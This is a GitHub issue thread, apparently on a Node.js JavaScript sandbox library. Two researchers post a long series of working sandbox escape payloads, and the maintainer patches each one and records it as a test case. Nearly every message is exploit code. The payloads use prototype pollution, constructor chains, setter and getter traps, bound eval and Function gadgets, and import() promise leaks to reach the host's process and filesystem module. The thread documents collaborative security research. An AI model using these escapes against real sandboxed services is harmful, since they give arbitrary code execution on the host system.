Closed j4k0xb closed 4 months ago
thanks, done q13
this.constructor.__defineSetter__('freeze', f=>f.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", "")); false
const global = constructor.constructor('return this')()
global.Object = Object.assign({set freeze(f){f.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", "")}}, global.Object);
false
and
({then: 1, toString: eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")})
all set (q14/q15/q16/q17), banned Object.assign and check ownProperty('toString') for the output
const global = constructor.constructor('return this')()
global.Object = {set freeze(f){f.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", "")}};
false
and
({hasOwnProperty: eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")})
these are new ! and alll set (q18,q19,q20)
BTW, you are very cool, after all these thing done, can you add me friend ;)
const global = constructor.constructor('return this')() global.Object = {set freeze(f){f.constructor('return process')().mainModule.require("fs").writeFileSync("pwned", "")}}; false
and
({hasOwnProperty: eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))")})
hasOwnProperty.bind = eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))");
true
Done! this is evil! I like it. and it take me a while to fix it.
the _core vesion return [rst,err,warnings] now to let caller has own decision to make.
hasOwnProperty.bind = eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))"); true
constructor.keys(0).__proto__.push = eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))");
({toString:1})
@XmiliaH all done. wait for you new move!
constructor.keys(0).__proto__.push = eval.bind(null, "import('fs').then(m=>m.writeFileSync('pwned', ''))"); ({toString:1})
@j4k0xb do you mind an be free to join?
constructor.prototype.__defineGetter__('cachedData', function(){this.importModuleDynamically.constructor('return process')().then(p=>p.mainModule.require("fs").writeFileSync("pwned", ""))});
(_=>_)
done, quick fixed;
constructor.prototype.__defineGetter__('cachedData', function(){this.importModuleDynamically.constructor('return process')().then(p=>p.mainModule.require("fs").writeFileSync("pwned", ""))}); (_=>_)
Object.defineProperty(constructor.prototype, 'cachedData', {get(){this.importModuleDynamically.constructor('return process')().then(p=>p.mainModule.require("fs").writeFileSync("pwned", ""))}});
(_=>_)
ok, done q23/q24
Object.defineProperty(constructor.prototype, 'cachedData', {get(){this.importModuleDynamically.constructor('return process')().then(p=>p.mainModule.require("fs").writeFileSync("pwned", ""))}}); (_=>_)
constructor.defineProperty(constructor.prototype, 'cachedData', {get(){this.importModuleDynamically.constructor('return process')().then(p=>p.mainModule.require("fs").writeFileSync("pwned", ""))}});
(_=>_)
done q25. and few more lines deletion added too
constructor.defineProperty(constructor.prototype, 'cachedData', {get(){this.importModuleDynamically.constructor('return process')().then(p=>p.mainModule.require("fs").writeFileSync("pwned", ""))}}); (_=>_)
OK, I'll investigate it and write some test cases. update you when done;
What about https://tc39.es/ecma262/multipage/reflection.html#sec-reflect.defineproperty?
deletion of Reflect and Proxy will help? had added with K2 case
What about https://tc39.es/ecma262/multipage/reflection.html#sec-reflect.defineproperty?
async function f(){
throw {toString: [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]))};
}
f()
f()
ok, already mark Function todo. now banned it
async function f(){ throw {toString: [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]))}; } f() f()
What about using const Function = (_=>_).constructor;
?
I did try, it doesn't hack;)
maybe the replacement of "Function" and constructor is working well?
> await jevalx(`const Function = (_=>_).constructor;Function`);
[Function (anonymous)]
> await jevalx(`const Function = (_=>_).constructor;Function("return this")()`);
{
eval: {},
console_log: {},
Symbol: {},
Reflect: {},
Proxy: {},
Function: [Function: Function]
}
> await jevalx(`(_=>_).constructor;Function("return this")()`);
{
eval: {},
console_log: {},
Symbol: {},
Reflect: {},
Proxy: {},
Function: [Function: Function]
}
> await jevalx(`(_=>_).constructor;Function("return process")()`);
Uncaught:
{
message: 'process is not defined',
js: '(_=>_).constructor;Function("return process")()'
}
> await jevalx(`delete Function;const Function=(_=>_).constructor;Function("return process")()`);
Uncaught:
{
message: 'process is not defined',
js: 'delete Function;const Function=(_=>_).constructor;Function("return process")()'
}
>
What about using
const Function = (_=>_).constructor;
?
For me
const Function = (_=>_).constructor;
async function f(){
throw {toString: [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]))};
}
f()
f()
works just fine.
unhandledRejection handler when ''+reason will trigger toString....(then the Function is function in the host scope....)
it's a nice trick ..fixed!
For me
const Function = (_=>_).constructor; async function f(){ throw {toString: [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]))}; } f() f()
works just fine.
const Function = (_=>_).constructor;
const a = constructor.prototype.__proto__.constructor.keys(0);
const s = Object.getOwnPropertySymbols(a.__proto__)[0];
const i = a[s]().__proto__;
const n = i.next;
i.next = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', '')); return n.call(a[s]());"]));
done. (Object in side sandbox now route to the constructor.__proto__) test case q28 added
const Function = (_=>_).constructor; const a = constructor.prototype.__proto__.constructor.keys(0); const s = Object.getOwnPropertySymbols(a.__proto__)[0]; const i = a[s]().__proto__; const n = i.next; i.next = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', '')); return n.call(a[s]());"]));
const Function = (_=>_).constructor;
const Object = {}.constructor;
const a = constructor.prototype.__proto__.constructor.keys(0);
const s = Object.getOwnPropertySymbols(a.__proto__)[0];
const i = a[s]().__proto__;
const n = i.next;
i.next = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', '')); return n.call(a[s]());"]));
passed case q29.
const Function = (_=>_).constructor; const Object = {}.constructor; const a = constructor.prototype.__proto__.constructor.keys(0); const s = Object.getOwnPropertySymbols(a.__proto__)[0]; const i = a[s]().__proto__; const n = i.next; i.next = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', '')); return n.call(a[s]());"]));
const Function = (async _=>_).constructor;
const Object = import('').catch(_=>_).__proto__.__proto__.constructor;
const a = constructor.prototype.__proto__.constructor.keys(0);
const s = Object.getOwnPropertySymbols(a.__proto__)[0];
const i = a[s]().__proto__;
const n = i.next;
i.next = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', '')); return n.call(a[s]());"]));
OK, I understand this escape, now using the old guards, until found better solution.
done test case q30
const Function = (async _=>_).constructor; const Object = import('').catch(_=>_).__proto__.__proto__.constructor; const a = constructor.prototype.__proto__.constructor.keys(0); const s = Object.getOwnPropertySymbols(a.__proto__)[0]; const i = a[s]().__proto__; const n = i.next; i.next = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', '')); return n.call(a[s]());"]));
const Function = (async _=>_).constructor;
const Object = import('').catch(_=>_).__proto__.__proto__.constructor;
Object.__proto__ = {
set defineProperty(f) {
f(this, 'assign', {set: [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]))});
}
};
false
thanks! dirty done q31.
Still didn't find a solution to prevent the import() host Promise escape.... will update you once I found...
have used your old skill to cancel the import().catch()
const Function = (async _=>_).constructor; const Object = import('').catch(_=>_).__proto__.__proto__.constructor; Object.__proto__ = { set defineProperty(f) { f(this, 'assign', {set: [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]))}); } }; false
const Function = (async _=>_).constructor;
constructor.__proto__.apply = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]));
import('').catch();
done, promise checked inside the import() test case q32
const Function = (async _=>_).constructor; constructor.__proto__.apply = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"])); import('').catch();
const Function = (async _=>_).constructor;
const promise = import('');
constructor.__proto__.apply = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"]));
promise.catch();
done, test case q32. and fixed a little bug related...
const Function = (async _=>_).constructor; const promise = import(''); constructor.__proto__.apply = [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"])); promise.catch();
const Function = (async _=>_).constructor;
const Object = constructor.prototype.__proto__.constructor;
Object.defineProperty(Object.__proto__, 'catch', {
set: [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"])),
get: ()=>1
});
false
done q33
const Function = (async _=>_).constructor; const Object = constructor.prototype.__proto__.constructor; Object.defineProperty(Object.__proto__, 'catch', { set: [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"])), get: ()=>1 }); false
I cited your names in the article. https://github.com/wanjo-tech/vm2/blob/main/en.md
If you mind, please let me know so I can remove them. @XmiliaH @j4k0xb
Just to note: We didn't even start yet to point out all the Prototype pollution
cases here.
Oh I see, then maybe I keep trying to solve case by case.
Thanks for you timer anyway, Once new cases found I'll keep follow up and I'll do some case searching later from projects vm2/isolated-vm/node:vm etc.
Just to note: We didn't even start yet to point out all the
Prototype pollution
cases here.
const Function = (async _=>_).constructor;
const Object = constructor.__proto__.__proto__.constructor;
Object.defineProperty(Object.__proto__, 'catch', {
set: [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"])),
get: ()=>1
});
false
done with test case q34. and a dumptree tool is uploaded to help to find danger parts
const Function = (async _=>_).constructor; const Object = constructor.__proto__.__proto__.constructor; Object.defineProperty(Object.__proto__, 'catch', { set: [].reduce.bind([1,2], Function.call.bind(Function.call), Function.apply.bind(Function, null, ["import('fs').then(m=>m.writeFileSync('pwned', ''))"])), get: ()=>1 }); false
import('').catch(_=>_).constructor.__proto__ = {
set constructor(f) {f("return process")().mainModule.require("fs").writeFileSync("pwned", "");}
}
And if you want to credit me add: @XmiliaH, contributed numerous sandbox escape test cases and is of the view that this will never be secure.
maybe you didn't use the updated rc2 version?
I've tested this passed. case r4. the catch() or even .then() will throw to the host already
>node test /case=r4
{ case: 'r4' }
r4 ex= Object <[Object: null prototype] {}> {
message: 'EvilImport',
js: '\n' +
"import('').catch(_=>_).constructor.__proto__ = {\n" +
' set constructor(f) {f("return process")().mainModule.require("fs").writeFileSync("pwned_r4", "");}\n' +
'}\n'
}
r4 check= object function
import('').catch(_=>_).constructor.__proto__ = { set constructor(f) {f("return process")().mainModule.require("fs").writeFileSync("pwned", "");} }
Yes, already updated the "en.md" file for this. Let's agree to disagree ;)
And if you want to credit me add: @XmiliaH, contributed numerous sandbox escape test cases and is of the view that this will never be secure.
For me the importModuleDynamically
is not called. I do not know why, but it isn't. That's node for you. I use v20.12.0
I see, Let me download v20 to have a test (mine v18), update you later for the result.
For me the
importModuleDynamically
is not called. I do not know why, but it isn't. That's node for you. I use v20.12.0